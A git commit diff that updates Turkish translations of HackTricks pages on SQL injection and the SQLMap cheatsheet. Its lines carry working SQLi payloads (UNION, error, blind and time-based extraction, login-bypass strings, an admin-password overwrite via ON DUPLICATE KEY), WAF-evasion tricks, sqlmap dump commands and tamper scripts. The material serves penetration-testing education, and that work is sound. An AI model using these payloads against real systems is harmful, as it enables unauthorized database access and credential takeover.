mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
Translated ['pentesting-web/sql-injection/README.md', 'pentesting-web/sq
This commit is contained in:
parent
e2f8588fa6
commit
3be878a438
4 changed files with 57 additions and 56 deletions
|
@ -630,7 +630,7 @@
|
|||
* [Big Binary Files Upload (PostgreSQL)](pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
|
||||
* [RCE with PostgreSQL Languages](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
|
||||
* [RCE with PostgreSQL Extensions](pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
||||
* [SQLMap - Cheetsheat](pentesting-web/sql-injection/sqlmap/README.md)
|
||||
* [SQLMap - CheatSheet](pentesting-web/sql-injection/sqlmap/README.md)
|
||||
* [Second Order Injection - SQLMap](pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap.md)
|
||||
* [SSRF (Server Side Request Forgery)](pentesting-web/ssrf-server-side-request-forgery/README.md)
|
||||
* [URL Format Bypass](pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md)
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplinde teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
|
||||
[**RootedCON**](https://www.rootedcon.com/) **İspanya**'daki en önemli siber güvenlik etkinliği ve **Avrupa**'daki en önemli etkinliklerden biridir. **Teknik bilgiyi teşvik etme misyonu** ile bu kongre, her disiplindeki teknoloji ve siber güvenlik profesyonelleri için kaynayan bir buluşma noktasıdır.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -25,9 +25,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
**SQL enjeksiyonu**, saldırganların bir uygulamanın **veritabanı sorgularıyla etkileşimde bulunmasına** olanak tanıyan bir güvenlik açığıdır. Bu zafiyet, saldırganların **görmesine**, **değiştirmesine** veya **silmesine** izin verebilir; bu, diğer kullanıcıların bilgileri veya uygulamanın erişebileceği herhangi bir veri dahil olmak üzere, erişmemeleri gereken verilere erişim sağlar. Bu tür eylemler, uygulamanın işlevselliğinde veya içeriğinde kalıcı değişikliklere veya hatta sunucunun tehlikeye girmesine veya hizmetin reddine yol açabilir.
|
||||
|
||||
|
||||
## Giriş noktası tespiti
|
||||
|
||||
Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle **SQL enjeksiyonuna (SQLi)** **duyarlı** olduğu görünüyorsa, **ilk adım**, **veriyi sorguya enjekte etmenin** ve bunu bozmadan yapmanın yolunu anlamaktır. Bu, mevcut bağlamdan **etkili bir şekilde kaçış** yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler:
|
||||
Bir sitenin, SQLi ile ilgili girdilere alışılmadık sunucu yanıtları nedeniyle **SQL enjeksiyonuna (SQLi)** **duyarlı** olduğu görünüyorsa, **ilk adım**, **sorguya veri enjekte etmenin** ve bunu bozmadan yapmanın yolunu anlamaktır. Bu, mevcut bağlamdan **etkili bir şekilde kaçış** yöntemini belirlemeyi gerektirir. İşte bazı faydalı örnekler:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
|
@ -147,7 +148,7 @@ Arka ucu belirlemenin en iyi yolu, farklı arka uçların fonksiyonlarını çal
|
|||
Ayrıca, sorgunun çıktısına erişiminiz varsa, **veritabanının sürümünü yazdırmasını** sağlayabilirsiniz.
|
||||
|
||||
{% hint style="info" %}
|
||||
Devamında, farklı SQL Injection türlerini istismar etmenin farklı yöntemlerini tartışacağız. Örnek olarak MySQL kullanacağız.
|
||||
Devamında, farklı SQL Injection türlerini istismar etmenin çeşitli yöntemlerini tartışacağız. Örnek olarak MySQL kullanacağız.
|
||||
{% endhint %}
|
||||
|
||||
### PortSwigger ile Tanımlama
|
||||
|
@ -159,12 +160,12 @@ Devamında, farklı SQL Injection türlerini istismar etmenin farklı yöntemler
|
|||
### Sütun sayısını tespit etme
|
||||
|
||||
Sorgunun çıktısını görebiliyorsanız, bunu istismar etmenin en iyi yoludur.\
|
||||
Öncelikle, **ilk isteğin** döndürdüğü **sütun** **sayısını** bulmamız gerekiyor. Bunun nedeni, **her iki sorgunun da aynı sayıda sütun döndürmesi gerektiğidir**.\
|
||||
Öncelikle, **ilk isteğin** döndürdüğü **sütunların sayısını** bulmamız gerekiyor. Bunun nedeni, **her iki sorgunun da aynı sayıda sütun döndürmesi gerektiğidir**.\
|
||||
Bu amaçla genellikle iki yöntem kullanılır:
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Bir sorgudaki sütun sayısını belirlemek için, **ORDER BY** veya **GROUP BY** ifadelerinde kullanılan sayıyı kademeli olarak artırarak yanlış bir yanıt alınana kadar ayarlayın. SQL içindeki **GROUP BY** ve **ORDER BY**'nın farklı işlevlerine rağmen, her ikisi de sorgunun sütun sayısını belirlemek için benzer şekilde kullanılabilir.
|
||||
Bir sorgudaki sütun sayısını belirlemek için, **ORDER BY** veya **GROUP BY** ifadelerinde kullanılan sayıyı kademeli olarak artırarak yanlış bir yanıt alınana kadar ayarlayın. SQL içindeki **GROUP BY** ve **ORDER BY**'nın farklı işlevlerine rağmen, her ikisi de sorgunun sütun sayısını belirlemek için aynı şekilde kullanılabilir.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
|
@ -205,47 +206,47 @@ Sonraki örneklerde, tüm veritabanlarının adını, bir veritabanının tablo
|
|||
```
|
||||
_Her farklı veritabanında bu verileri keşfetmenin farklı bir yolu vardır, ancak metodoloji her zaman aynıdır._
|
||||
|
||||
## Gizli Union Tabanlı Sömürme
|
||||
## Gizli Birleşim Tabanlı Sömürme
|
||||
|
||||
Bir sorgunun çıktısı görünürken, ancak union tabanlı bir enjeksiyon mümkün görünmüyorsa, bu **gizli union tabanlı enjeksiyon** varlığını gösterir. Bu senaryo genellikle kör enjeksiyon durumuna yol açar. Kör enjeksiyonu union tabanlı bir hale dönüştürmek için, arka plandaki yürütme sorgusunun anlaşılması gerekir.
|
||||
Bir sorgunun çıktısı görünürken, ancak birleşim tabanlı bir enjeksiyon mümkün görünmüyorsa, bu **gizli birleşim tabanlı enjeksiyon** varlığını gösterir. Bu senaryo genellikle kör enjeksiyon durumuna yol açar. Kör enjeksiyonu birleşim tabanlı bir hale dönüştürmek için, arka plandaki yürütme sorgusunun anlaşılması gerekir.
|
||||
|
||||
Bu, kör enjeksiyon tekniklerinin yanı sıra hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tabloların kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için hedef DBMS'in belgelerine başvurulması önerilir.
|
||||
Bu, hedef Veritabanı Yönetim Sistemi (DBMS) için varsayılan tablolarla birlikte kör enjeksiyon tekniklerinin kullanılmasıyla gerçekleştirilebilir. Bu varsayılan tabloları anlamak için, hedef DBMS'nin belgelerine başvurulması önerilir.
|
||||
|
||||
Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatacak şekilde yükünüzü özelleştirmeniz gerekmektedir. Ardından, yükünüze bir union sorgusu eklenir ve bu, yeni erişilebilir union tabanlı enjeksiyonun sömürülmesini kolaylaştırır.
|
||||
Sorgu çıkarıldıktan sonra, orijinal sorguyu güvenli bir şekilde kapatacak şekilde yükünüzü özelleştirmeniz gerekmektedir. Ardından, yükünüze bir birleşim sorgusu eklenir ve bu, yeni erişilebilir birleşim tabanlı enjeksiyonun sömürülmesini kolaylaştırır.
|
||||
|
||||
Daha kapsamlı bilgiler için [Kör Enjeksiyonları İyileştirme](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f) başlıklı makaleye başvurun.
|
||||
|
||||
## Hata Tabanlı Sömürme
|
||||
|
||||
Eğer bir sebepten dolayı **sorgunun** **çıkışını** göremiyorsanız ama **hata mesajlarını** görebiliyorsanız, bu hata mesajlarını veritabanından **veri sızdırmak** için kullanabilirsiniz.\
|
||||
Union Tabanlı sömürüdeki benzer bir akışı takip ederek veritabanını dökme işlemini gerçekleştirebilirsiniz.
|
||||
Birleşim Tabanlı sömürüdeki benzer bir akışı takip ederek veritabanını dökme işlemini gerçekleştirebilirsiniz.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Blind SQLi'yi İstismar Etme
|
||||
|
||||
Bu durumda sorgunun sonuçlarını veya hataları göremezsiniz, ancak sorgunun **doğru** veya **yanlış** bir yanıt döndürdüğünü **ayırdedebilirsiniz** çünkü sayfada farklı içerikler vardır.\
|
||||
Bu durumda, veritabanını karakter karakter dökmek için bu davranışı istismar edebilirsiniz:
|
||||
Bu durumda, veritabanını karakter karakter dökmek için bu davranışı kötüye kullanabilirsiniz:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
```
|
||||
## Hata Kör SQLi Sömürüsü
|
||||
|
||||
Bu, **önceki durumla aynı** ama sorgudan gelen doğru/yanlış yanıtı ayırt etmek yerine, SQL sorgusundaki bir **hata** ile ayırt edebilirsiniz (belki HTTP sunucusu çöküyor). Bu nedenle, bu durumda doğru karakteri her tahmin ettiğinizde bir SQL hatası zorlayabilirsiniz:
|
||||
Bu, **önceki durumla aynı** ama sorgudan gelen doğru/yanlış yanıtı ayırt etmek yerine, SQL sorgusundaki bir **hata** olup olmadığını ayırt edebilirsiniz (belki HTTP sunucusu çöküyor). Bu nedenle, bu durumda doğru karakteri her tahmin ettiğinizde bir SQL hatası zorlayabilirsiniz:
|
||||
```sql
|
||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Zaman Tabanlı SQLi İstismar Etme
|
||||
|
||||
Bu durumda, sayfanın bağlamına dayalı olarak sorgunun **yanıtını ayırt etmenin** herhangi bir yolu **yoktur**. Ancak, tahmin edilen karakter doğruysa sayfanın **yüklenme süresinin uzamasını** sağlayabilirsiniz. Bu tekniği daha önce [SQLi zafiyetini doğrulamak için](./#confirming-with-timing) kullanırken gördük.
|
||||
Bu durumda, sayfanın bağlamına dayalı olarak sorgunun **yanıtını** **ayırmanın** herhangi bir yolu **yoktur**. Ancak, tahmin edilen karakter doğruysa sayfanın **yüklenme süresini uzatmasını** sağlayabilirsiniz. Bu tekniği daha önce [SQLi zafiyetini doğrulamak için](./#confirming-with-timing) kullanırken gördük.
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
Stacked sorguları kullanarak **birden fazla sorguyu peş peşe çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya geri döndürülmez**. Bu nedenle, bu teknik esasen **kör zafiyetler** ile ilişkilidir; burada ikinci bir sorgu kullanarak bir DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz.
|
||||
Stacked sorguları kullanarak **birden fazla sorguyu peş peşe çalıştırabilirsiniz**. Sonraki sorgular çalıştırılırken, **sonuçlar** **uygulamaya** **geri döndürülmez**. Bu nedenle, bu teknik esasen **kör zafiyetler** ile ilgilidir; burada ikinci bir sorgu kullanarak bir DNS sorgusu, koşullu hata veya zaman gecikmesi tetikleyebilirsiniz.
|
||||
|
||||
**Oracle** **stacked queries**'i desteklemez. **MySQL, Microsoft** ve **PostgreSQL** bunları destekler: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
**Oracle** **stacked queries**'i desteklemez. **MySQL, Microsoft** ve **PostgreSQL** destekler: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
## Out of band Exploitation
|
||||
|
||||
|
@ -259,7 +260,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
|||
```
|
||||
## Otomatik Sömürü
|
||||
|
||||
Bir SQLi zafiyetini [**sqlmap**](https://github.com/sqlmapproject/sqlmap) ile sömürmek için [SQLMap Cheetsheat](sqlmap/) kontrol edin.
|
||||
Bir SQLi zafiyetini [**sqlmap**](https://github.com/sqlmapproject/sqlmap) ile sömürmek için [SQLMap Cheatsheet](sqlmap/) dosyasını kontrol edin.
|
||||
|
||||
## Teknolojiye özel bilgiler
|
||||
|
||||
|
@ -279,9 +280,9 @@ Ya da **MySQL, PostgreSQL, Oracle, MSSQL, SQLite ve HQL ile ilgili birçok ipucu
|
|||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Kimlik doğrulama atlatma
|
||||
## Kimlik Doğrulama Atlatma
|
||||
|
||||
Giriş işlevini atlatmayı denemek için liste:
|
||||
Giriş işlevini atlatmaya çalışmak için liste:
|
||||
|
||||
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
|
||||
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
|
||||
|
@ -291,7 +292,7 @@ Giriş işlevini atlatmayı denemek için liste:
|
|||
```sql
|
||||
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
|
||||
```
|
||||
Bu sorgu, kimlik doğrulama kontrollerinde ham çıktı için true ile MD5 kullanıldığında bir güvenlik açığını göstermektedir ve sistemi SQL injection'a karşı savunmasız hale getirmektedir. Saldırganlar, hash'lenildiğinde beklenmedik SQL komut parçaları üreten girdiler oluşturarak bunu istismar edebilir ve yetkisiz erişim sağlayabilir.
|
||||
Bu sorgu, kimlik doğrulama kontrollerinde ham çıktı için true ile MD5 kullanıldığında bir güvenlik açığını sergilemektedir ve sistemi SQL injection'a karşı savunmasız hale getirmektedir. Saldırganlar, hash'lenildiğinde beklenmedik SQL komut parçaları üreten girdiler oluşturarak bunu istismar edebilir ve yetkisiz erişim sağlayabilir.
|
||||
```sql
|
||||
md5("ffifdyop", true) = 'or'6<>]<5D><>!r,<2C><>b<EFBFBD>
|
||||
sha1("3fDf ", true) = Q<>u'='<27>@<40>[<5B>t<EFBFBD>- o<><6F>_-!
|
||||
|
@ -302,7 +303,7 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
|||
```
|
||||
**Önerilen liste**:
|
||||
|
||||
Kullanıcı adı olarak listenin her satırını ve şifre olarak her zaman: _**Pass1234.**_ kullanmalısınız.\
|
||||
Kullanıcı adı olarak listenin her bir satırını ve şifre olarak her zaman: _**Pass1234.**_ kullanmalısınız.\
|
||||
_(Bu yükler, bu bölümün başında bahsedilen büyük listede de bulunmaktadır)_
|
||||
|
||||
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
|
||||
|
@ -334,9 +335,9 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
|||
|
||||
Bunu yapmak için **"ana nesne"** olarak adlandırılan **yeni bir nesne oluşturmayı** denemelisiniz (kullanıcılar için muhtemelen **admin**):
|
||||
|
||||
* Adı olan kullanıcı oluşturun: **AdMIn** (büyük ve küçük harfler)
|
||||
* Adı olan kullanıcı oluşturun: **AdMIn** (büyük & küçük harfler)
|
||||
* Adı olan bir kullanıcı oluşturun: **admin=**
|
||||
* **SQL Truncation Attack** (kullanıcı adı veya e-posta için bazı türden **uzunluk sınırı** olduğunda) --> Adı olan kullanıcı oluşturun: **admin \[bir sürü boşluk] a**
|
||||
* **SQL Truncation Attack** (kullanıcı adı veya e-posta için bazı türde **uzunluk sınırı** olduğunda) --> Adı olan kullanıcı oluşturun: **admin \[bir sürü boşluk] a**
|
||||
|
||||
#### SQL Truncation Attack
|
||||
|
||||
|
@ -356,7 +357,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
|||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
MySQL'deki `ON DUPLICATE KEY UPDATE` ifadesi, UNIQUE indeks veya PRIMARY KEY'de bir tekrar eden değerle sonuçlanacak bir satır eklenmeye çalışıldığında veritabanının alacağı eylemleri belirtmek için kullanılır. Aşağıdaki örnek, bu özelliğin bir yönetici hesabının şifresini değiştirmek için nasıl istismar edilebileceğini göstermektedir:
|
||||
MySQL'deki `ON DUPLICATE KEY UPDATE` ifadesi, UNIQUE indeks veya PRIMARY KEY'de bir tekrar eden değer oluşturacak şekilde bir satır eklenmeye çalışıldığında veritabanının alacağı eylemleri belirtmek için kullanılır. Aşağıdaki örnek, bu özelliğin bir yönetici hesabının şifresini değiştirmek için nasıl istismar edilebileceğini göstermektedir:
|
||||
|
||||
Örnek Yük Enjeksiyonu:
|
||||
|
||||
|
@ -368,7 +369,7 @@ Here's how it works:
|
|||
|
||||
- Sorgu, `generic_user@example.com` için bir ve `admin_generic@example.com` için başka bir satır eklemeye çalışır.
|
||||
- Eğer `admin_generic@example.com` için satır zaten mevcutsa, `ON DUPLICATE KEY UPDATE` ifadesi tetiklenir ve MySQL'e mevcut satırın `password` alanını "bcrypt_hash_of_newpassword" olarak güncellemesi talimatı verilir.
|
||||
- Sonuç olarak, `admin_generic@example.com` ile bcrypt hash'ine karşılık gelen şifre ile kimlik doğrulama yapılmaya çalışılabilir ("bcrypt_hash_of_newpassword", istenen şifrenin gerçek bcrypt hash'i ile değiştirilmesi gereken yeni şifrenin bcrypt hash'ini temsil eder).
|
||||
- Sonuç olarak, `admin_generic@example.com` ile bcrypt hash'ine karşılık gelen şifre ile kimlik doğrulama yapılmaya çalışılabilir ("bcrypt_hash_of_newpassword" yeni şifrenin bcrypt hash'ini temsil eder, bu da istenen şifrenin gerçek hash'i ile değiştirilmelidir).
|
||||
|
||||
### Extract information
|
||||
|
||||
|
@ -408,9 +409,9 @@ __import__('binascii').unhexlify(hex(215573607263)[2:])
|
|||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Routed SQL injection
|
||||
## Yönlendirilmiş SQL enjeksiyonu
|
||||
|
||||
Routed SQL injection, enjekte edilebilir sorgunun çıktı vermeyen sorgu değil, enjekte edilebilir sorgunun çıktısının çıktı veren sorguya gittiği bir durumdur. ([From Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
Yönlendirilmiş SQL enjeksiyonu, enjekte edilebilir sorgunun çıktı vermediği, ancak enjekte edilebilir sorgunun çıktısının çıktı veren sorguya gittiği bir durumdur. ([Kaynak: Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
|
||||
|
||||
Örnek:
|
||||
```
|
||||
|
@ -440,9 +441,9 @@ No Whitespace - parantez kullanarak atlatma
|
|||
```sql
|
||||
?id=(1)and(1)=(1)--
|
||||
```
|
||||
### No commas bypass
|
||||
### Virgül bypass'ı
|
||||
|
||||
No Comma - OFFSET, FROM ve JOIN kullanarak atlatma
|
||||
Virgül - OFFSET, FROM ve JOIN kullanarak bypass
|
||||
```
|
||||
LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
|
@ -456,7 +457,7 @@ Anahtar kelimeleri kullanarak kara liste - büyük/küçük harf kullanarak atla
|
|||
?id=1 AnD 1=1#
|
||||
?id=1 aNd 1=1#
|
||||
```
|
||||
Blacklist anahtar kelimeleri büyük/küçük harf duyarsız - eşdeğer bir operatör kullanarak atlatma
|
||||
Kelimeleri büyük/küçük harf duyarsız olarak kara listeye alma - eşdeğer bir operatör kullanarak atlatma
|
||||
```
|
||||
AND -> && -> %26%26
|
||||
OR -> || -> %7C%7C
|
||||
|
@ -466,7 +467,7 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())
|
|||
```
|
||||
### Bilimsel Notasyon WAF atlatma
|
||||
|
||||
Bu hile hakkında daha derinlemesine bir açıklamayı [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) adresinde bulabilirsiniz.\
|
||||
Bu hile hakkında daha derin bir açıklamayı [gosecure blog](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/) adresinde bulabilirsiniz.\
|
||||
Temelde, WAF'ı atlatmak için bilimsel notasyonu beklenmedik şekillerde kullanabilirsiniz:
|
||||
```
|
||||
-1' or 1.e(1) or '1'='1
|
||||
|
@ -522,7 +523,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt
|
|||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
* **Hacking hilelerini paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,15 +1,15 @@
|
|||
# SQLMap - Hızlı Kılavuz
|
||||
# SQLMap - Cheatsheet
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
@ -17,7 +17,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; keşiften raporlamaya kadar. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
|
||||
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -65,7 +65,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
|
||||
### Burp/ZAP yakalamasından
|
||||
|
||||
İsteği yakalayın ve bir req.txt dosyası oluşturun.
|
||||
İsteği yakalayın ve bir req.txt dosyası oluşturun
|
||||
```bash
|
||||
sqlmap -r req.txt --current-user
|
||||
```
|
||||
|
@ -98,7 +98,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
|||
```
|
||||
### Eval
|
||||
|
||||
**Sqlmap**, her yükü göndermeden önce bazı python tek satırlık kodları ile işlemek için `-e` veya `--eval` kullanımına izin verir. Bu, yükü göndermeden önce özel yollarla işlemek için çok kolay ve hızlı hale getirir. Aşağıdaki örnekte **flask çerez oturumu** **göndermeden önce flask tarafından bilinen bir anahtar ile imzalanmıştır**:
|
||||
**Sqlmap**, her yükü göndermeden önce bazı python tek satırlık kodları ile işlemek için `-e` veya `--eval` kullanımına izin verir. Bu, yükü göndermeden önce özel yollarla işlemek için çok kolay ve hızlı hale getirir. Aşağıdaki örnekte **flask çerez oturumu** **göndermeden önce flask tarafından bilinen bir gizli anahtarla imzalanmıştır**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
|
@ -157,7 +157,7 @@ Unutmayın ki **kendi tamper'ınızı python ile oluşturabilirsiniz** ve bu ço
|
|||
| Tamper | Açıklama |
|
||||
| ---------------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | Apostrof karakterini UTF-8 tam genişlik karşılığı ile değiştirir |
|
||||
| apostrophenullencode.py | Apostrof karakterini yasadışı çift unicode karşılığı ile değiştirir |
|
||||
| apostrophenullencode.py | Apostrof karakterini yasadışı çift unicode karşılığı ile değiştirir |
|
||||
| appendnullbyte.py | Payload'un sonuna kodlanmış NULL byte karakteri ekler |
|
||||
| base64encode.py | Verilen payload'daki tüm karakterleri Base64 ile kodlar |
|
||||
| between.py | '>' operatörünü 'NOT BETWEEN 0 AND #' ile değiştirir |
|
||||
|
@ -171,7 +171,7 @@ Unutmayın ki **kendi tamper'ınızı python ile oluşturabilirsiniz** ve bu ço
|
|||
| charunicodeescape.py | Verilen payload'daki kodlanmamış karakterleri unicode-url-encode eder (zaten kodlanmış olanları işlememektedir). "\u0022" |
|
||||
| equaltolike.py | Eşit ('=') operatörünün tüm örneklerini 'LIKE' operatörü ile değiştirir |
|
||||
| escapequotes.py | Ters eğik çizgi ile alıntıları kaçırır (' ve ") |
|
||||
| greatest.py | '>' operatörünü 'GREATEST' karşılığı ile değiştirir |
|
||||
| greatest.py | '>' operatörünü 'GREATEST' karşılığı ile değiştirir |
|
||||
| halfversionedmorekeywords.py | Her anahtar kelimenin önüne versiyonlu MySQL yorumu ekler |
|
||||
| ifnull2ifisnull.py | 'IFNULL(A, B)' gibi örnekleri 'IF(ISNULL(A), B, A)' ile değiştirir |
|
||||
| modsecurityversioned.py | Tam sorguyu versiyonlu yorum ile sarar |
|
||||
|
@ -196,12 +196,12 @@ Unutmayın ki **kendi tamper'ınızı python ile oluşturabilirsiniz** ve bu ço
|
|||
| space2randomblank.py | Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
|
||||
| symboliclogical.py | AND ve OR mantıksal operatörlerini sembolik karşılıkları ile değiştirir (&& ve |
|
||||
| unionalltounion.py | UNION ALL SELECT'i UNION SELECT ile değiştirir |
|
||||
| unmagicquotes.py | Alıntı karakterini (') çok baytlı bir kombinasyon %bf%27 ile değiştirir, ardından sonunda genel bir yorum ekler (çalışması için) |
|
||||
| unmagicquotes.py | Alıntı karakterini (') çok baytlı kombinasyon %bf%27 ile değiştirir, ardından sonunda genel bir yorum ekler (çalışması için) |
|
||||
| uppercase.py | Her anahtar kelime karakterini büyük harf değeri 'INSERT' ile değiştirir |
|
||||
| varnish.py | Bir HTTP başlığı 'X-originating-IP' ekler |
|
||||
